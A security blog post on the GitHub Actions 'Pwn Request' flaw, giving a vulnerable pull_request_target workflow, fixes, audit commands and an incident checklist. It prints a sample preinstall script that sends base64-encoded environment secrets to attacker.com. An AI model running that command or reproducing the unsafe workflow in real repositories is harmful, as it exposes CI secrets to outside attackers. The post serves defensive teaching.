The Pwn Request Attack: How GitHub Actions Steal Secrets
A stranger opens a pull request against your open-source repo. Your GitHub Action runs. Their malicious PR exfiltrates every secret you have. You did not run their code. They did. The Pwn Request attack is two years old now, still hitting major projects, and the fix is one trigger keyword in your workflow file.
The exploit in 30 seconds
GitHub Actions has two pull-request triggers:
on: pull_request: runs in the PR author's limited security context. No access to repository secrets. Safe by default.on: pull_request_target: runs in the base repository's security context. Full access to repository secrets. Designed for use cases like commenting on PRs, but dangerous if misused.
The Pwn Request attack works when a workflow uses pull_request_target AND checks out and runs code from the PR.
The PR author submits malicious code. The base repo's workflow trusts that code (because pull_request_target implies trust), runs it with secrets in the environment, and the attacker exfiltrates those secrets to a server they control.
Result: every secret in repo settings is stolen by an unauthenticated outside contributor.
The vulnerable workflow pattern
This is what unsafe code looks like:
name: Build PR
on:
pull_request_target: # ← danger
types: [opened, synchronize]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # ← PR's malicious code
- run: npm install # ← runs malicious npm scripts
- run: npm run build # ← runs malicious build script
env:
NPM_TOKEN: ${{ secrets.NPM_TOKEN }} # ← secret available
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
The author thought they were enabling rich PR feedback (test results, build artifacts attached to PR comments). They actually wired up a remote code execution that runs every malicious PR with all repo secrets.
Real-world examples: Kubernetes had a Pwn Request vulnerability disclosed in 2024. Multiple AWS open-source projects have been hit. The pattern keeps appearing because pull_request_target looks like a normal trigger and the danger is non-obvious.
How attackers actually exfiltrate
Attackers do not need clever tricks. NPM lifecycle scripts run on npm install. A malicious preinstall script in package.json can exfiltrate process.env:
{
"name": "malicious-pr",
"scripts": {
"preinstall": "curl -X POST https://attacker.com/exfil \\
-H 'Content-Type: application/json' \\
-d \"$(env | base64)\""
}
}
Or a custom postinstall step. Or a malicious dependency. Or modifying a build script. Or modifying a test that runs in CI. Any code path that executes during the workflow has access to the same env vars as the workflow.
The attack does not even need to be subtle. By the time you see the PR, the secrets are already gone.
The fixes that actually work
Fix 1: do not use pull_request_target if you do not need to
This is the simplest fix. pull_request is sufficient for almost all CI workflows (test, lint, build to verify). Only use pull_request_target for narrow use cases like commenting on PRs or labeling them based on file paths.
on:
pull_request: # ← safe by default
types: [opened, synchronize]
Workflows triggered by pull_request from a fork have no access to secrets and cannot push to the base repo. They can run tests freely. You lose nothing for typical CI.
Fix 2: if you must use pull_request_target, do NOT check out PR code
If your workflow needs pull_request_target (because it needs secrets, like for commenting on PRs with build status), then do not check out and run the PR's code. Operate only on metadata.
name: Label PR
on:
pull_request_target:
types: [opened, edited]
jobs:
label:
runs-on: ubuntu-latest
steps:
- uses: actions/github-script@v7 # operates on PR metadata, not code
with:
script: |
const labels = computeLabels(context.payload.pull_request);
await github.rest.issues.addLabels({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: context.payload.pull_request.number,
labels: labels
});
This is safe because no PR code runs.
Fix 3: split into two workflows — untrusted build, trusted post-process
The pattern that lets you have rich PR feedback without giving secrets to PR code:
- Workflow A: triggered by
pull_request. Runs the PR's code in untrusted context. Builds, tests. Uploads artifacts. - Workflow B: triggered by
workflow_runon completion of A. Runs in the base repo's trusted context with secrets. Downloads artifacts from A. Posts comments, deploys, etc.
# .github/workflows/pr-build.yml
name: PR Build (untrusted)
on:
pull_request:
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm install && npm test
- uses: actions/upload-artifact@v4
with:
name: build-output
path: dist/
# .github/workflows/pr-comment.yml
name: PR Comment (trusted)
on:
workflow_run:
workflows: ["PR Build (untrusted)"]
types: [completed]
jobs:
comment:
runs-on: ubuntu-latest
steps:
- uses: actions/download-artifact@v4
with:
name: build-output
# ... post comment using secrets, NEVER execute downloaded artifact
The trusted workflow can read artifacts but never executes PR code.
Fix 4: limit secrets to specific environments, not repository-wide
Move sensitive secrets (production deploy keys, npm publish tokens) to GitHub Environments. Set environment protection rules requiring approval before any workflow can use the environment. Now even if a workflow is hijacked, it cannot reach production secrets without manual approval.
jobs:
deploy:
environment: production # ← protection rules apply
runs-on: ubuntu-latest
steps:
- run: deploy
env:
DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}
Fix 5: pin third-party Actions to commit SHAs, not tags
Adjacent attack: the third-party Action you use gets compromised, attacker pushes a malicious version, your workflow pulls the new "v1" tag, you run their code with your secrets. Tj-actions/changed-files supply chain attack of 2025 was exactly this.
# Bad: tag can be moved
- uses: tj-actions/changed-files@v44
# Good: SHA cannot be moved
- uses: tj-actions/changed-files@dc4eced3a6e4c14fa7bc5f4d34b7c3d6a3f4e5b6c
Use pin-github-action or Dependabot to manage SHA pins. This stops half of GitHub Actions supply chain attacks.
How to audit your existing workflows
Run this against every repo:
grep -r "pull_request_target" .github/workflows/ \\
| grep -v "^Binary"
# For every match, check if it also has actions/checkout
# with ref pointing to the PR head:
grep -A 20 "pull_request_target" .github/workflows/*.yml \\
| grep -E "ref:.*head\\.sha|ref:.*head_ref"
Any workflow that uses pull_request_target AND checks out PR code is potentially vulnerable. Audit each one against the patterns above.
The detective controls if you cannot fix everything immediately
- Enable required workflow approval for first-time contributors in repo settings. New contributors' workflows require manual approval before running.
- Enable "Require approval for all outside collaborators" as a stricter setting.
- Audit GitHub Action secret usage logs in the security tab.
- Rotate any high-value secret (npm publish tokens, AWS deploy keys) every 90 days regardless.
- Use OIDC federation for cloud deploys instead of static AWS keys. Even if a workflow gets pwned, OIDC tokens are short-lived and scoped.
The blast radius if it happens to you
Assume every secret in the workflow's environment is exfiltrated within seconds of the malicious PR triggering. Your response checklist:
- Rotate every secret that was in scope for the affected workflow. AWS keys, npm tokens, Docker Hub credentials, deploy keys.
- Check audit logs in each downstream service for unauthorized usage during the window between attack and rotation.
- Review npm/Docker registries for any unauthorized package or image pushes.
- Review production deploy logs for any unauthorized deployments.
- Disclose to affected customers if the secret leakage allowed access to their data.
Rotate compromised secrets safely
If you discover a Pwn Request attack against your repo, rotate immediately and share new credentials securely. Use zero-knowledge encrypted sharing with auto-expiring links instead of email.
Create Encrypted PasteThe bottom line
Pwn Request is one of the highest-impact GitHub Actions vulnerabilities and is still hitting major projects in 2026. The fixes are not complicated: use pull_request instead of pull_request_target when possible, never check out and execute PR code from a privileged workflow, split untrusted-build and trusted-post-process into two workflows, pin Actions to SHAs, and protect production secrets behind environments. Audit your existing workflows now. The cost of being exploited is enormous; the cost of fixing is one afternoon.
Related reading: Prevent Secrets Leaks in CI/CD Logs, GitHub Actions Complete Guide, Leaked AWS Credentials Playbook, API Key Rotation Best Practices, and Supply Chain Attack Prevention.